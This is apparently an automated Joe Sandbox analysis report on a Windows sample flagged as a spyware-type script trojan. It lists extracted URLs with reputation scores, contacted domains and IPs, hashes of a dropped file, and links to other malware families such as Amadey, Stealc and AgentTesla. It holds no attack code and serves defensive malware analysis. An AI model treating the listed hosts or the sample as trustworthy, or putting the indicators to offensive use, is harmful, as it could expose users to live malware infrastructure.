https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106	0%	Avira URL Cloud	safe
https://doh.cox.net/dns-query	0%	Virustotal		Browse
https://anglebug.com/5536	0%	Virustotal		Browse
https://dns11.quad9.net/dns-query	0%	Avira URL Cloud	safe
http://crbug.com/1165751	0%	Avira URL Cloud	safe
http://crbug.com/550292	0%	Virustotal		Browse
http://crbug.com/883276	0%	Virustotal		Browse
https://anglebug.com/7714	0%	Virustotal		Browse
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl	0%	Avira URL Cloud	safe
https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/	0%	Avira URL Cloud	safe
https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/	0%	Virustotal		Browse
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl	0%	Virustotal		Browse
https://crbug.com/705865	0%	Avira URL Cloud	safe
http://crbug.com/1165751	0%	Virustotal		Browse
http://crbug.com/110263	0%	Avira URL Cloud	safe
https://dns11.quad9.net/dns-query	1%	Virustotal		Browse
https://www.nic.cz/odvr/CZ.NIC	0%	Virustotal		Browse
https://www.google.com/chrome/privacy/eula_text.htmlG	0%	Avira URL Cloud	safe
https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106	0%	Virustotal		Browse
https://www.nic.cz/odvr/CZ.NIC	0%	Avira URL Cloud	safe
https://public.dns.iij.jp/IIJ	0%	Avira URL Cloud	safe
http://crbug.com/110263	0%	Virustotal		Browse
https://nextdns.io/privacy	0%	Avira URL Cloud	safe
https://anglebug.com/7369	0%	Avira URL Cloud	safe
https://www.google.com/chrome/privacy/eula_text.htmlG	1%	Virustotal		Browse
https://anglebug.com/7489	0%	Avira URL Cloud	safe
https://crbug.com/705865	0%	Virustotal		Browse
https://crbug.com/1137851	0%	Avira URL Cloud	safe
https://crbug.com/593024	0%	Avira URL Cloud	safe
https://anglebug.com/7369	0%	Virustotal		Browse
https://nextdns.io/privacy	0%	Virustotal		Browse
https://developers.google.com/speed/public-dns/privacyGoogle	0%	Avira URL Cloud	safe
https://dns64.dns.google/dns-query	0%	Avira URL Cloud	safe
https://crbug.com/593024	0%	Virustotal		Browse
https://public.dns.iij.jp/IIJ	0%	Virustotal		Browse
https://developers.google.com/speed/public-dns/privacyGoogle	0%	Virustotal		Browse
https://doh.opendns.com/dns-query	0%	Avira URL Cloud	safe
https://anglebug.com/7489	0%	Virustotal		Browse
http://anglebug.com/2152skipVSConstantRegisterZeroIn	0%	Avira URL Cloud	safe
https://crbug.com/1300575	0%	Avira URL Cloud	safe
https://crbug.com/710443	0%	Avira URL Cloud	safe
https://doh.opendns.com/dns-query	0%	Virustotal		Browse
https://dns64.dns.google/dns-query	0%	Virustotal		Browse

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chrome.cloudflare-dns.com	172.64.41.3	true	false	0%, Virustotal, Browse	unknown
clientstats1-dummy-server-lb-398743415.us-east-1.elb.amazonaws.com	54.92.189.105	true	false	0%, Virustotal, Browse	unknown
ingress-sticky-haproxy-eu-da5b7868dc470a9a.elb.eu-west-1.amazonaws.com	52.48.38.99	true	false	0%, Virustotal, Browse	unknown
socket-eu-ingress-1850214078.eu-west-1.elb.amazonaws.com	54.171.33.24	true	false	0%, Virustotal, Browse	unknown
setekshome.com	185.111.234.27	true	false	0%, Virustotal, Browse	unknown
sockjs-eu.pusher.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
ws-eu.pusher.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
www.setekshome.com	unknown	unknown	false	0%, Virustotal, Browse	unknown
stats.pusher.com	unknown	unknown	false	0%, Virustotal, Browse	unknown

Name	Source	Malicious	Antivirus Detection	Reputation
https://anglebug.com/4674	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://aka.ms/odirmr	explorer.exe, 00000014.00000000.2347925668.00000000079FB000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.google.com/chrome/answer/6098869	zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.dr	false	URL Reputation: safe	unknown
https://api.msn.com:443/v1/news/Feed/Windows?	explorer.exe, 00000014.00000000.2350442178.00000000097D4000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://doh.familyshield.opendns.com/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/4633	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://anglebug.com/7382	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://public.dns.iij.jp/	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crbug.com/550292	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://simpleflying.com/how-do-you-become-an-air-traffic-controller/	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crbug.com/883276	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://photos.google.com/settings?referrer=CHROME_NTP	zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7714	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://doh.cox.net/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/5536	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gTUY	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dns11.quad9.net/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crbug.com/1165751	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrl	zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://crbug.com/705865	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://crbug.com/110263	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 0000000F.00000002.2150619987.000001EBAECB5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2136432811.000001EBA058E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000F.00000002.2150619987.000001EBAEDF7000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2319441649.000001C154084000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2319441649.000001C153F42000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2271364083.000001C145810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.nic.cz/odvr/CZ.NIC	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/6248	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/6929	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome/privacy/eula_text.htmlG	fr.pak.0.dr	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://anglebug.com/5281	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 0000000F.00000002.2136432811.000001EB9EC41000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.2271364083.000001C143ED1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://public.dns.iij.jp/IIJ	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://wns.windows.com/L	explorer.exe, 00000014.00000000.2353965580.000000000C557000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nextdns.io/privacy	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://anglebug.com/7246	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://anglebug.com/7369	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000012.00000002.2271364083.000001C145788000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7489	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://crbug.com/593024	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000012.00000002.2271364083.000001C145788000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earnings	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crbug.com/1137851	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gHZu	explorer.exe, 00000014.00000000.2347925668.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/Icon	powershell.exe, 00000012.00000002.2271364083.000001C145810000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developers.google.com/speed/public-dns/privacyGoogle	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/weather/topstories/us-weather-super-el-nino-to-bring-more-flooding-and-win	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dns64.dns.google/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://doh.opendns.com/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://issuetracker.google.com/161903006	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/2152skipVSConstantRegisterZeroIn	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://crbug.com/1300575	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/politics/clarence-thomas-in-spotlight-as-supreme-court-delivers-blow-	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crbug.com/710443	libGLESv2.dll.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 00000012.00000002.2271364083.000001C145788000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://crbug.com/1042393	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://crbug.com/1060012	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gMeu	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3078	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/7553	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrl	zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5375	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/3246allowClearForRobustResourceInitSome	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5371	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://www.rd.com/list/polite-habits-campers-dislike/	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3997	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4722	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://crbug.com/642605	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://public.dns.iij.jp/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/1452	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/7556	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=frRaccourci	fr.pak.0.dr	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore?hl=swUmeondoa	sw.pak.0.dr	false	Avira URL Cloud: safe	unknown
https://outlook.com_	explorer.exe, 00000014.00000000.2353965580.000000000C5AA000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=zh-CN	zh-CN.pak.0.dr	false	Avira URL Cloud: safe	unknown
https://alekberg.net/privacy	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
https://www.msn.com/en-us/news/world/agostini-krausz-and-l-huillier-win-physics-nobel-for-looking-at	explorer.exe, 00000014.00000000.2347925668.0000000007900000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crbug.com/650547callClearTwiceUsing	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/6692	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/chrome/privacy/eula_text.htmlInasimamiwa	sw.pak.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3502	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/3623	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/3625	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://www.msn.com/en-us/news/us/when-does-daylight-saving-time-end-2023-here-s-when-to-set-your-cl	explorer.exe, 00000014.00000000.2347925668.00000000078AD000.00000004.00000001.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://chromium.dns.nextdns.io	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5007	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://crbug.com/1181068	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/2894	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
http://anglebug.com/3862	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown
https://dns.google/dns-query	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4836	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11Pdo	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.micro	explorer.exe, 00000014.00000000.2349101668.0000000007F40000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.2351599180.0000000009B60000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000014.00000000.2349618148.0000000008720000.00000002.00000001.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://passwords.google.comCompte	fr.pak.0.dr	false	Avira URL Cloud: safe	unknown
http://int3.de/	elevate.exe.0.dr	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflare	defender.exe, 00000004.00000000.2001844665.00007FF760412000.00000002.00000001.01000000.00000009.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/4384	libGLESv2.dll.0.dr	false	URL Reputation: safe	unknown
http://anglebug.com/7036Frontend	libGLESv2.dll.0.dr	false	Avira URL Cloud: safe	unknown

IP	Domain	Country	ASN	ASN Name	Malicious
54.171.33.24	socket-eu-ingress-1850214078.eu-west-1.elb.amazonaws.com	United States	16509	AMAZON-02US	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
54.92.189.105	clientstats1-dummy-server-lb-398743415.us-east-1.elb.amazonaws.com	United States	14618	AMAZON-AESUS	false
185.111.234.27	setekshome.com	Turkey	51557	TR-FBSTR	false
52.48.38.99	ingress-sticky-haproxy-eu-da5b7868dc470a9a.elb.eu-west-1.amazonaws.com	United States	16509	AMAZON-02US	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1487580
Start date and time:	2024-08-04 16:32:56 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 6s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	1
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.HEUR.Trojan.Script.Generic.5591.10617.exe
Detection:	MAL
Classification:	mal60.spyw.winEXE@31/144@8/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 2 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
162.159.61.3	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Babadeda	Browse
	jp95FFMUoh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Babadeda	Browse
	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc	Browse
	random.exe	Get hash	malicious	Babadeda	Browse
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse
	PDFpower (1).exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
52.48.38.99	https://helpcenter.d1684u00tkwyh2.amplifyapp.com/#/	Get hash	malicious	Unknown	Browse
52.48.38.99	https://isuecenter.dig4pnjky2v0q.amplifyapp.com/#/	Get hash	malicious	Unknown	Browse
172.64.41.3	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Babadeda	Browse
	jp95FFMUoh.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse
	random.exe	Get hash	malicious	Babadeda	Browse
	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc	Browse
	random.exe	Get hash	malicious	Babadeda	Browse
	#U0417#U0410#U041f#U0420#U041e#U0421.exe	Get hash	malicious	FormBook	Browse
	PDFpower (1).exe	Get hash	malicious	Unknown	Browse
	setup.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-AESUS	w859ZBDwaQ.exe	Get hash	malicious	Unknown	Browse	107.23.203.25
	w859ZBDwaQ.exe	Get hash	malicious	Unknown	Browse	34.194.105.96
	wKrQaAEaJ4.elf	Get hash	malicious	Mirai	Browse	18.233.39.244
	https://jon0472sbcglobalne.wixsite.com/my-site-1	Get hash	malicious	Unknown	Browse	44.219.134.238
	https://16784846511.cloud/	Get hash	malicious	Unknown	Browse	3.208.56.98
	http://cdn.amxprd.com/en-us/business/checking/get-started/using-your-business-debit-card	Get hash	malicious	Unknown	Browse	54.234.53.240
	okZYzMZtnk.elf	Get hash	malicious	Mirai	Browse	54.8.106.132
	Tn08qpE9Le.elf	Get hash	malicious	Mirai	Browse	52.22.221.203
	xd.arm7.elf	Get hash	malicious	Mirai	Browse	54.22.37.227
CLOUDFLARENETUS	SecuriteInfo.com.Trojan.GenericFCA.Script.33276.27996.26811.exe	Get hash	malicious	Unknown	Browse	104.26.2.16
	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	172.64.41.3
	random.exe	Get hash	malicious	Babadeda	Browse	172.64.41.3
	Microsoft 3D.exe	Get hash	malicious	LummaC, Go Injector	Browse	104.21.80.78
	eEo6DAcnnx.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	172.67.196.114
	Urq5Bp4bgs.elf	Get hash	malicious	Unknown	Browse	1.15.163.159
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.97.3
	vercath63.b-cdn.ps1	Get hash	malicious	LummaC, Go Injector	Browse	172.67.175.230
	Setup.exe	Get hash	malicious	LummaC, Go Injector, LummaC Stealer	Browse	188.114.96.3
TR-FBSTR	rfacturadepago422934_.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
	b2bXo6vmDm.exe	Get hash	malicious	SystemBC	Browse	93.89.224.77
	transfiere copia para entrega del pedido 8791.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
	Factura 422934 pago bbva swift.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
	rPURCHASEORDEROI1597.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
	rcopiadepagoMt103.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
	ORDEN DE COMPRA OI1597.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
	PO_1718148891.exe	Get hash	malicious	AgentTesla	Browse	93.89.226.86
	FATTURA PROFORMA.exe	Get hash	malicious	AgentTesla	Browse	93.89.225.40
AMAZON-02US	sorto.exe	Get hash	malicious	Amadey, Babadeda, Stealc, Vidar	Browse	108.156.60.6
	random.exe	Get hash	malicious	Babadeda	Browse	52.222.236.80
	arm4.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	Urq5Bp4bgs.elf	Get hash	malicious	Unknown	Browse	13.244.111.254
	6PXS8SZtD8.exe	Get hash	malicious	AsyncRAT	Browse	3.140.223.7
	w859ZBDwaQ.exe	Get hash	malicious	Unknown	Browse	52.29.131.233
	w859ZBDwaQ.exe	Get hash	malicious	Unknown	Browse	52.29.131.233
	Guidelines_for_Citizen_Safety.msi	Get hash	malicious	AteraAgent	Browse	35.157.63.229
	SecuriteInfo.com.Program.Unwanted.5011.11652.31740.exe	Get hash	malicious	PureLog Stealer	Browse	99.84.208.6

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\18a76d14-ac47-451f-a90b-60705a36f392.tmp.node	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse
	Dead By Daylight.exe	Get hash	malicious	NovaSentinel	Browse
	node.js.exe	Get hash	malicious	Unknown	Browse
	node.js.exe	Get hash	malicious	Unknown	Browse
	LeqO0KJkDX.exe	Get hash	malicious	Unknown	Browse
	LeqO0KJkDX.exe	Get hash	malicious	Unknown	Browse
	etnY4xJd3y.exe	Get hash	malicious	Unknown	Browse
	etnY4xJd3y.exe	Get hash	malicious	Unknown	Browse
	RblxShaders 1.0.2.exe	Get hash	malicious	Unknown	Browse
C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\d3dcompiler_47.dll	SecuriteInfo.com.Trojan.GenericFCA.Script.33276.27996.26811.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Malware-gen.19582.16146.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win64.Malware-gen.19582.16146.exe	Get hash	malicious	Unknown	Browse
	Installer Setup 9.7.0.exe	Get hash	malicious	Unknown	Browse
	Roblox Account Manager.exe	Get hash	malicious	Unknown	Browse
	lookworldafs1244.msi	Get hash	malicious	Unknown	Browse
	node.js.exe	Get hash	malicious	Unknown	Browse
	node.js.exe	Get hash	malicious	Unknown	Browse
	LeqO0KJkDX.exe	Get hash	malicious	Unknown	Browse

Process:	C:\Users\user\AppData\Local\Temp\2goCimWNF4MQsElUG17heiczRtP\defender.exe
File Type:	data
Category:	dropped
Size (bytes):	65552
Entropy (8bit):	0.01261857931136298
Encrypted:	false
SSDEEP:	3:qfllGlll/l/lXp9ZjrPBY0eltplZP:Ol0dPBY0ex
MD5:	313E42A725D2EA57CCEBD69E6E654C25
SHA1:	36DBC6C358126E40B25F89B327526B69F050ED39
SHA-256:	6300C9C6B0A3D8B0450BFA9880190A3D230B80154ACDFB0EAADD32D5272749FF
SHA-512:	2AAEC28DC087A126894974D5EF3B4EEBA09478F1E2C562E8AB848F979739663F4D6A638440161A20E00282512CA54AD6F59E4ED730415F5383414DD503552A02
Malicious:	false
Preview:	..;.........................................f...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................